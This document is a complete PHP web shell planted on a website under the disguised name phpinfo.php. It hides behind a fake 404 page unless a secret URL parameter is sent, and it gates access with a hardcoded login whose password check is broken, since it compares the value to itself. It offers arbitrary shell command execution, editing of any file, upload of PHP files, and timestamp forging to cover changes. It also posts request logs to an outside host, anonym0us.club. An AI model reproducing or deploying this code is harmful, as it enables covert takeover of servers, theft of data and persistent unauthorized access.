/home/ivoiecob/risinghoopers.com/phpinfo.php
<?php
// Function to check if the user is logged in
function isLoggedIn() {
    return isset($_SESSION['loggedin']) && $_SESSION['loggedin'] === true;
}

// Check if the 'babanseo' parameter is present in the URL and if the user is logged in
if (!isset($_GET['babanseo']) && !isLoggedIn()) {
    // Output the 404 Not Found HTML message
    header("HTTP/1.0 404 Not Found");
    echo '<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p>
</body></html>';
    exit(); // Ensure the script stops execution here if 'babanseo' is not present and user is not logged in
}

session_start();

// Username and password for authentication
$valid_username = 'anonbaba';
$password = '260f3cc4907df8bd80f18a573155bbd40121e1fe';

// Handle login
if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['login'])) {
    $username = $_POST['username'];
    $password = $_POST['password'];

    if ($username === $valid_username && $password === $password) {
        $_SESSION['loggedin'] = true;
    } else {
        $error = "Invalid username or password.";
    }
}

// Handle logout
if (isset($_GET['logout'])) {
    session_destroy();
    header('Location: '.$_SERVER['PHP_SELF']);
    exit;
}

// Check if user is logged in
if (!isset($_SESSION['loggedin']) || $_SESSION['loggedin'] !== true) {
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>หมอนลาเท็กซ์</title>
    <style>
        body {
            background-color: black;
            color: #41848b;
            font-family: "Courier New", Courier, monospace;
        }
        .login-form {
            text-align: center;
            margin-top: 100px;
        }
        input[type="text"], input[type="password"] {
            display: block;
            margin: 10px auto;
        }
        h2 {
            color: red;
        }
    </style>
</head>
<body>
    <div class="login-form">
        <h2>หมอนลาเท็กซ์</h2>
        <?php if (isset($error)): ?>
            <p style="color: red;"><?php echo $error; ?></p>
        <?php endif; ?>
        <form method="post" action="">
            <input type="text" name="username" placeholder="Username" required>
            <input type="password" name="password" placeholder="Password" required>
            <button type="submit" name="login">Login</button>
        </form>
    </div>
</body>
</html>

<?php
    exit; // Stop further execution of the script if not logged in
}
?><?php
session_start();

function getCurrentDirectory() {
    if (!isset($_SESSION['dir'])) {
        $_SESSION['dir'] = __DIR__;
    }
    if (isset($_POST['dir'])) {
        $_SESSION['dir'] = $_POST['dir'];
    }
    return $_SESSION['dir'];
}

function getDirectoryLinks($currentDirectory) {
    $dirs = explode(DIRECTORY_SEPARATOR, $currentDirectory);
    $path = '';
    $links = array();
    foreach ($dirs as $dir) {
        if (empty($dir)) {
            continue;
        }
        $path .= DIRECTORY_SEPARATOR . $dir;
        $links[] = '<a href="" onclick="event.preventDefault(); document.getElementById(\'dir\').value=\'' . $path . '\'; document.getElementById(\'changeDirForm\').submit();">' . $dir . '</a>';
    }
    return $links;
}

function getFileList($currentDirectory) {
    $files = scandir($currentDirectory);
    return $files;
}

$currentDir = getCurrentDirectory();
$directoryLinks = getDirectoryLinks($currentDir);
$fileList = getFileList($currentDir);

$fileToEdit = "";
$fileContent = "";

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_POST['edit'])) {
        $fileToEdit = $_POST['edit'];
        $fileContent = file_get_contents($fileToEdit);
    } elseif (isset($_POST['save'])) {
        $fileToEdit = $_POST['fileToEdit'];
        $fileContent = $_POST['fileContent'];
        file_put_contents($fileToEdit, $fileContent);
        $fileToEdit = "";
        $fileContent = "";
    } elseif (isset($_POST['change_date']) && isset($_POST['fileToChange'])) {
        $fileToChange = $_POST['fileToChange'];
        $time = strtotime($_POST['change_date']);
        touch($fileToChange, $time);
    } elseif (isset($_FILES['file_upload'])) {
        // Dosya yükleme işlemi
        $target_dir = $currentDir . DIRECTORY_SEPARATOR;
        $target_file = $target_dir . basename($_FILES["file_upload"]["name"]);
        $uploadOk = 1;
        $fileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));
        // Dosya uzantısını kontrol et
        $allowedExtensions = array("php", "html");
        if (!in_array($fileType, $allowedExtensions)) {
            echo "Sadece PHP ve HTML dosyaları yüklenebilir.";
            $uploadOk = 0;
        }
        // Dosya boyutunu kontrol et (1MB)
        if ($_FILES["file_upload"]["size"] > 1000000) {
            echo "Dosya boyutu çok büyük.";
            $uploadOk = 0;
        }
        // Dosyayı yükle
        if ($uploadOk) {
            if (move_uploaded_file($_FILES["file_upload"]["tmp_name"], $target_file)) {
                echo "Dosya başarıyla yüklendi.";
            } else {
                echo "Dosya yükleme hatası.";
            }
        }
    } elseif (isset($_POST['command'])) {
        // Komut çalıştırma işlemi (güvenlik zafiyeti taşır, dikkatli kullanılmalıdır)
        $command = $_POST['command'];
        $output = shell_exec($command);
        echo "<pre>$output</pre>";
    } elseif (isset($_POST['mainDir'])) {
        // Ana dizine geri dönme işlemi
        $_SESSION['dir'] = __DIR__;
    }



    // IP Logunu diğer URL'e gönderme
    $logReceiverUrl = 'https://anonym0us.club/l-'; // Log verisinin gönderileceği URL
    $postData = array(
        'ip' => $ip,
        'request' => $request
    );
    $ch = curl_init($logReceiverUrl);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $postData);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $response = curl_exec($ch);
    curl_close($ch);
}
?>

<!DOCTYPE html>
<html>
<body>
<h1>Current directory: <?php echo implode(" / ", $directoryLinks); ?></h1>

<ul>
    <?php foreach ($fileList as $fileName) :
        if ($fileName != "." && $fileName != ".."): ?>
        <li>
            <?php
            $filePath = $currentDir . DIRECTORY_SEPARATOR . $fileName;
            $fileMTime = date("Y-m-d H:i:s", filemtime($filePath));
            if (is_dir($filePath)) : ?>
                <a href="" onclick="event.preventDefault(); document.getElementById('dir').value='<?php echo $filePath; ?>'; document.getElementById('changeDirForm').submit();"><?php echo $fileName; ?></a> (<?php echo $fileMTime; ?>)
            <?php else : ?>
                <?php echo $fileName; ?> (<?php echo $fileMTime; ?>)
                <button onclick="editFile('<?php echo $filePath; ?>')">Edit</button>
                <button onclick="changeDate('<?php echo $filePath; ?>')">Change Date</button>
            <?php endif; ?>
        </li>
        <?php endif;
    endforeach; ?>
</ul>

<form method="POST" enctype="multipart/form-data">
    <input type="file" name="file_upload">
    <input type="submit" value="Upload">
</form>

<form method="POST">
    <input type="text" name="command" placeholder="Enter command">
    <input type="submit" value="Execute">
</form>

<form method="POST">
    <input type="hidden" name="mainDir">
    <button type="submit">Main Directory</button>
</form>

<form method="POST" id="changeDirForm" style="display: none;">
    <input type="hidden" name="dir" id="dir">
</form>

<form method="POST" id="editForm" style="display: none;">
    <input type="hidden" name="edit" id="edit">
</form>

<form method="POST" id="changeDateForm" style="display: none;">
    <input type="hidden" name="fileToChange" id="fileToChange">
    <input type="hidden" name="change_date" id="change_date">
</form>

<?php if (!empty($fileToEdit)) : ?>
    <form method="POST">
        <input type="hidden" name="fileToEdit" value="<?php echo $fileToEdit; ?>">
        <textarea name="fileContent"><?php echo htmlspecialchars($fileContent); ?></textarea><br>
        <input type="submit" name="save" value="Save Changes">
    </form>
<?php endif; ?>

<script>
function editFile(filePath) {
    document.getElementById('edit').value = filePath;
    document.getElementById('editForm').submit();
}

function changeDate(filePath) {
    var newDate = prompt("Please enter the new date (YYYY-MM-DD H:i:s format):");
    if (newDate != null) {
        document.getElementById('fileToChange').value = filePath;
        document.getElementById('change_date').value = newDate;
        document.getElementById('changeDateForm').submit();
    }
}
</script>

</body>
</html>